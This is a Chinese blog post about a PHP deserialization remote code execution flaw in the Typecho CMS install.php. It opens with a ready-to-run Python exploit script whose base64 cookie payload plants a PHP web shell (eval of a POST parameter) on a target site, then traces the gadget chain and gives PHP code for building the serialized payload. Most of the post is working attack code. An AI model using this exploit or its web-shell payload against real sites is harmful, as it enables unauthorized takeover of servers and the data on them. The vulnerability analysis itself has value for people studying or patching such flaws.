Typecho Install.php 任意代码执行

2017-10-25  本文已影响0人  白里个白

payload

#coding=UTF-8

import requests
import optparse


def exp(request_url):
    url = request_url+"/install.php?finish=1"
    headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Encoding': 'gzip, deflate, compress',
            'Accept-Language': 'en-us;q=0.5,en;q=0.3',
            'Cache-Control': 'max-age=0',
            'Referer':request_url+'/install.php',
            'Connection': 'close',
            'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdrZXkucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtwYXNzXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==',
            #'Cookie': '__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo0OiJldmFsIjt9fX19fXM6NjoicHJlZml4IjtzOjc6InR5cGVjaG8iO30=',
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0'}
    s = requests.Session()
    s.headers.update(headers)
    z = s.get(url=url)
    print z.content

parser = optparse.OptionParser("usage%prog" + "-u <target url>")
parser.add_option('-u', dest = 'tgturl', type = 'string', help = "please scand url.")
(options,args) = parser.parse_args()
tgturl = options.tgturl
exp(tgturl)

原理

这是一个PHP序列化的漏洞
原因出在网站根目录下install.php里

 <?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                ......
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                ......
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

这里可以看出,只要存在finish,并且__typecode_config的cookie存在,就可以对base64加密过的cookie进行序列化。
下面又把config里的adapter和prefix使用Typecho_Db进行实例化,并且调用了addServer的方法,下面,我们进入Typecho_Db瞄一瞄:
当然序列化后的对象,我们无法直接调用方法,所以,我们必须找一些能特殊调用的方法,比如构造函数,析构函数之类的,
这里,我们在Db.php中对象的构造函数下发现了:

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

这里存在一个$adapterName字符串进行了拼接,所以就能触发__string()方法
我们可以全局搜素__toString()方法,观察有没有我们需要的:

我们发现了这里存在问题:

   public function __toString()
    {
        $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

        if (self::RSS1 == $this->_type) {
......
        } else if (self::ATOM1 == $this->_type) {
          ......
            foreach ($this->_items as $item) {
             ......
    <name>' . $item['author']->screenName . '</name>
    <uri>' . $item['author']->url . '</uri>

到这里,我们知道item['author']中screenName的键值如果不可访问,就会触发__get()函数
我们再去寻找get函数:

我们寻找到一个request的对象:

 public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

这里对_params属性进行赋值,把结果传入value,最后返回_applyFilter($value),我们跟到这个函数里看看:

private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }

            $this->_filter = array();
        }

        return $value;
    }

这里就比较的清晰明了了,array_map()可以把数组中的每个值发送到用户自定义函数,返回新的值。call_user_func 可以把第一个参数作为回调函数调用,也就是说,都可以命令执行,由于我们第二个参数是数组,所以,我们不能使用eval,那我们就使用assert来实现命令执行,最后,构造整个的序列化:

<?php

class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_items = array();

    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

class Typecho_Request{
    private $_params = array('screenName'=>'file_put_contents(\'key.php\', \'<?php @eval($_POST[pass]);?>\')');
    private $_filter = array('assert');
}

$zz = new Typecho_Feed();
$hh = new Typecho_Request();
$zz->addItem(array('author' => $hh));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho');
echo base64_encode(serialize($exp));
?>

最后,得到的就是结果了。
实现一下:

上一篇下一篇

猜你喜欢

热点阅读